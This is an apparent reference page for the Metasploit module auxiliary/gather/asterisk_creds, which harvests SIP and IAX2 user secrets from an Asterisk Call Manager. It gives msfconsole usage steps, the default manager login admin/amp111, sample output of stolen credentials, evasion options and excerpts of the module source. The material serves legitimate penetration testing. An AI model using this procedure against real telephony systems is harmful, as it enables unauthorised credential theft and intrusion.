Asterisk Gather Credentials - Metasploit


This page contains detailed information about how to use the auxiliary/gather/asterisk_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Asterisk Gather Credentials
Module: auxiliary/gather/asterisk_creds
Source code: modules/auxiliary/gather/asterisk_creds.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 5038
List of CVEs: -

This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service. Valid manager credentials are required.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/asterisk_creds
msf auxiliary(asterisk_creds) > show targets
    ... a list of targets ...
msf auxiliary(asterisk_creds) > set TARGET target-id
msf auxiliary(asterisk_creds) > show options
    ... show and set options ...
msf auxiliary(asterisk_creds) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service.

Valid manager credentials are required.

Vulnerable Application


Asterisk offers both classical PBX functionality and advanced features, and interoperates with traditional standards-based telephony systems and Voice over IP systems.

This module has been tested successfully on:

  • Asterisk Call Manager version 2.10.0 on Asterisk 13.16.0
  • Asterisk Call Manager version 1.1 on Asterisk 1.6.2.11

The following software comes with Asterisk preinstalled and can be used for testing purposes:

Note that Asterisk will reject valid authentication credentials when connecting from a network that has not been permitted using the permit directive (or is specifically denied in the deny directive) in the Asterisk manager configuration file /etc/asterisk/manager.conf.

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/gather/asterisk_creds
  3. Do: set rhost <RHOST>
  4. Do: set rport <RPORT> (default: 5038)
  5. Do: set username <USERNAME> (default: admin)
  6. Do: set password <PASSWORD> (default: amp111)
  7. Do: run
  8. You should get credentials

Scenarios


  [*] 172.16.191.229:5038 - Found Asterisk Call Manager version 2.10.0
  [+] 172.16.191.229:5038 - Authenticated successfully
  [*] 172.16.191.229:5038 - Found 9 users

  Asterisk User Credentials
  =========================

   Username  Secret                Type
   --------  ------                ----
   100                             sip
   103       bbf5d449753391a       sip
   104       273db6cd9ca402f53354  iax2
   105       secret password       sip
   106       "_" ;)                iax2
   107       123456789             sip
   108       ~!@#$%^&*()_+{}       sip
   109       antidisestablishment  iax2
   123       y2u.be/VOaZbaPzdsk    iax2

  [+] 172.16.191.229:5038 - Credentials saved in: /root/.msf4/loot/20170723052316_default_172.16.191.229_asterisk.user.cr_798166.txt
  [*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the gather/asterisk_creds auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/asterisk_creds

msf6 auxiliary(gather/asterisk_creds) > show info

       Name: Asterisk Gather Credentials
     Module: auxiliary/gather/asterisk_creds
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  bcoles <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  amp111           yes       The password for the specified username
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     5038             yes       The target port (TCP)
  USERNAME  admin            yes       The username for Asterisk Call Manager

Description:
  This module retrieves SIP and IAX2 user extensions and credentials 
  from Asterisk Call Manager service. Valid manager credentials are 
  required.

References:
  http://www.asterisk.name/sip1.html
  http://www.asterisk.name/iax2.html
  https://www.voip-info.org/wiki/view/Asterisk+manager+API
  https://www.voip-info.org/wiki-Asterisk+CLI

Module Options


This is a complete list of options available in the gather/asterisk_creds auxiliary module:

msf6 auxiliary(gather/asterisk_creds) > show options

Module options (auxiliary/gather/asterisk_creds):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  amp111           yes       The password for the specified username
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5038             yes       The target port (TCP)
   USERNAME  admin            yes       The username for Asterisk Call Manager

Advanced Options


Here is a complete list of advanced options supported by the gather/asterisk_creds auxiliary module:

msf6 auxiliary(gather/asterisk_creds) > show advanced

Module advanced options (auxiliary/gather/asterisk_creds):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/asterisk_creds module can do:

msf6 auxiliary(gather/asterisk_creds) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/asterisk_creds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/asterisk_creds) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Asterisk Call Manager does not appear to be running


Here is a relevant code snippet related to the "Asterisk Call Manager does not appear to be running" error message:

35:	
36:	    connect
37:	    banner = sock.get_once
38:	
39:	    unless banner =~ %r{Asterisk Call Manager/([\d\.]+)}
40:	      fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'
41:	    end
42:	
43:	    print_status "Found Asterisk Call Manager version #{$1}"
44:	
45:	    unless login

Authentication failed


Here is a relevant code snippet related to the "Authentication failed" error message:

41:	    end
42:	
43:	    print_status "Found Asterisk Call Manager version #{$1}"
44:	
45:	    unless login
46:	      fail_with Failure::NoAccess, 'Authentication failed'
47:	    end
48:	
49:	    print_good 'Authenticated successfully'
50:	
51:	    @users = []

Did not find any users


Here is a relevant code snippet related to the "Did not find any users" error message:

51:	    @users = []
52:	    retrieve_users 'sip'
53:	    retrieve_users 'iax2'
54:	
55:	    if @users.empty?
56:	      print_error 'Did not find any users'
57:	      return
58:	    end
59:	
60:	    print_status "Found #{@users.length} users"
61:	

Timeout (<TIMEOUT> seconds)


Here is a relevant code snippet related to the "Timeout (<TIMEOUT> seconds)" error message:

133:	      res << sock.get_once while res !~ /\r?\n\r?\n/
134:	    end
135:	
136:	    res
137:	  rescue Timeout::Error
138:	    print_error "Timeout (#{timeout} seconds)"
139:	  rescue => e
140:	    print_error e.message
141:	  end
142:	
143:	  def login

Insufficient privileges


Here is a relevant code snippet related to the "Insufficient privileges" error message:

170:	    req << "command: #{type} show users\r\n"
171:	    req << "\r\n"
172:	    res = send_command req
173:	
174:	    if res =~ /Response: Error/ && res =~ /Message: Permission denied/
175:	      print_error 'Insufficient privileges'
176:	      return
177:	    end
178:	
179:	    unless res =~ /Response: Follows/
180:	      print_error 'Unexpected reply'

Unexpected reply


Here is a relevant code snippet related to the "Unexpected reply" error message:

175:	      print_error 'Insufficient privileges'
176:	      return
177:	    end
178:	
179:	    unless res =~ /Response: Follows/
180:	      print_error 'Unexpected reply'
181:	      return
182:	    end
183:	
184:	    # The response is a whitespace formatted table
185:	    # We're only interested in the first two columns: username and secret

'<TYPE> show users' is not supported


Here is a relevant code snippet related to the "'<TYPE> show users' is not supported" error message:

186:	    # To parse the table, we need the characer width of these two columns
187:	    if res =~ /^(Username\s+)(Secret\s+)/
188:	      user_len = $1.length
189:	      pass_len = $2.length
190:	    else
191:	      print_error "'#{type} show users' is not supported"
192:	      return
193:	    end
194:	
195:	    users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first
196:	

Did not find any <TYPE.UPCASE> users


Here is a relevant code snippet related to the "Did not find any <TYPE.UPCASE> users" error message:

193:	    end
194:	
195:	    users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first
196:	
197:	    if users.blank?
198:	      print_error "Did not find any #{type.upcase} users"
199:	      return
200:	    else
201:	      print_status "Found #{type.upcase} users"
202:	    end
203:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


bcoles

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.